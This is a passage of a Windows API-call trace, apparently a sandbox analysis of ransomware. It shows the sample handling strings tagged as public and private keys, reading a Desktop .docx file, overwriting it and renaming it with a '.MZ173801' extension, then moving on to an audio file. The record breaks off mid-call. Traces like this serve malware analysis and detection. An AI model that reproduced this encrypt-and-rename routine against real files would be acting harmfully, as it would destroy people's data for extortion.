lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.852] GetCurrentThreadId () returned 0xab4 [0175.852] GetCurrentThreadId () returned 0xab4 [0175.852] GetCurrentThreadId () returned 0xab4 [0175.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.852] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.852] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.852] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x9f24 [0175.852] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.852] ReadFile (in: hFile=0x320, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x9f24, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x9f24, lpOverlapped=0x0) returned 1 [0175.860] CloseHandle (hObject=0x320) returned 1 [0175.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.862] WriteFile (in: hFile=0x320, lpBuffer=0x24b1e70*, nNumberOfBytesToWrite=0x9f24, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b1e70*, lpNumberOfBytesWritten=0x19fa24*=0x9f24, lpOverlapped=0x0) returned 1 [0175.864] CloseHandle (hObject=0x320) returned 1 [0175.864] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\BEd17CeTok20XCp bu.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\bed17cetok20xcp bu.docx.mz173801")) returned 1 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] GetCurrentThreadId () returned 0xab4 [0175.865] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd381f1d0, ftCreationTime.dwHighDateTime=0x1d5f11a, ftLastAccessTime.dwLowDateTime=0x88910f70, ftLastAccessTime.dwHighDateTime=0x1d5eced, ftLastWriteTime.dwLowDateTime=0x88910f70, ftLastWriteTime.dwHighDateTime=0x1d5eced, nFileSizeHigh=0x0, nFileSizeLow=0xaf96, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BpRoek76B4s.m4a", cAlternateFileName="BPROEK~1.M4A")) returned 1 [0175.866] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0175.866] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0175.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd381f1d0, ftCreationTime.dwHighDateTime=0x1d5f11a, ftLastAccessTime.dwLowDateTime=0x88910f70, ftLastAccessTime.dwHighDateTime=0x1d5eced, ftLastWriteTime.dwLowDateTime=0x88910f70, ftLastWriteTime.dwHighDateTime=0x1d5eced, nFileSizeHigh=0x0, nFileSizeLow=0xaf96)) returned 1 [0175.866] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a")) returned 0x20 [0175.866] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a", dwFileAttributes=0x80) returned 1 [0175.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0175.868] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0175.870] GetCurrentThreadId () returned 0xab4 [0175.870] GetCurrentThreadId () returned 0xab4 [0175.870] GetCurrentThreadId () returned 0xab4 [0175.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0175.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0175.871] GetCurrentThreadId () returned 0xab4 [0175.871] GetCurrentThreadId () returned 0xab4 [0175.871] GetCurrentThreadId () returned 0xab4 [0175.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\BpRoek76B4s.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\bproek76b4s.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0175.871] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0175.871] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.871] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xaf96 [0175.872] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0175.872] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xaf96, 